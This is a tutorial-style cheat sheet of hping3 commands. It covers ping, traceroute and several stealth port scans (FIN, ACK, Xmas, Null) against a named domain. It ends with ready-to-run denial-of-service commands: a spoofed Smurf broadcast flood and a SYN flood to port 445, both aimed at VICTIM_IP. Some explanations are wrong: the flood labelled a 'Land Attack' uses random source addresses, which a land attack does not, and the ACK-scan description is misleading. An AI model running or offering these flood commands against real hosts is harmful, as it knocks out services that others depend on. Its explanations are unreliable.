Hping Examples

1. Testing ICMP: In this example hping3 will behave like a normal ping utility, sending ICMP-echo und receiving ICMP-reply

hping3 -1 0daysecurity.com

2. Traceroute using ICMP: This example is similar to famous utilities like tracert (windows) or traceroute (linux) who uses ICMP packets increasing every time in 1 its TTL value.

hping3 --traceroute -V -1 0daysecurity.com

3. Checking port: Here hping3 will send a Syn packet to a specified port (80 in our example). We can control also from which local port will start the scan (5050).

hping3 -V -S -p 80 -s 5050 0daysecurity.com

4. Traceroute to a determined port: A nice feature from Hping3 is that you can do a traceroute to a specified port watching where your packet is blocked. It can just be done by adding --traceroute to the last command.

hping3 --traceroute -V -S -p 80 -s 5050 0daysecurity.com

5. Other types of ICMP: This example sends a ICMP address mask request ( Type 17 ).

hping3 -c 1 -V -1 -C 17 0daysecurity.com

6. Other types of Port Scanning: First type we will try is the FIN scan. In a TCP connection the FIN flag is used to start the connection closing routine. If we do not receive a reply, that means the port is open. Normally firewalls send a RST+ACK packet back to signal that the port is closed..

hping3 -c 1 -V -p 80 -s 5050 -F 0daysecurity.com

7. Ack Scan: This scan can be used to see if a host is alive (when Ping is blocked for example). This should send a RST response back if the port is open.

hping3 -c 1 -V -p 80 -s 5050 -A 0daysecurity.com

8. Xmas Scan: This scan sets the sequence number to zero and set the URG + PSH + FIN flags in the packet. If the target device's TCP port is closed, the target device sends a TCP RST packet in reply. If the target device's TCP port is open, the target discards the TCP Xmas scan, sending no reply.

hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 0daysecurity.com

9. Null Scan: This scan sets the sequence number to zero and have no flags set in the packet. If the target device's TCP port is closed, the target device sends a TCP RST packet in reply. If the target device's TCP port is open, the target discards the TCP NULL scan, sending no reply.

hping3 -c 1 -V -p 80 -s 5050 -Y 0daysecurity.com

10. Smurf Attack: This is a type of denial-of-service attack that floods a target system via spoofed broadcast ping messages.

hping3 -1 --flood -a VICTIM_IP BROADCAST_ADDRESS

11. DOS Land Attack:

hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP
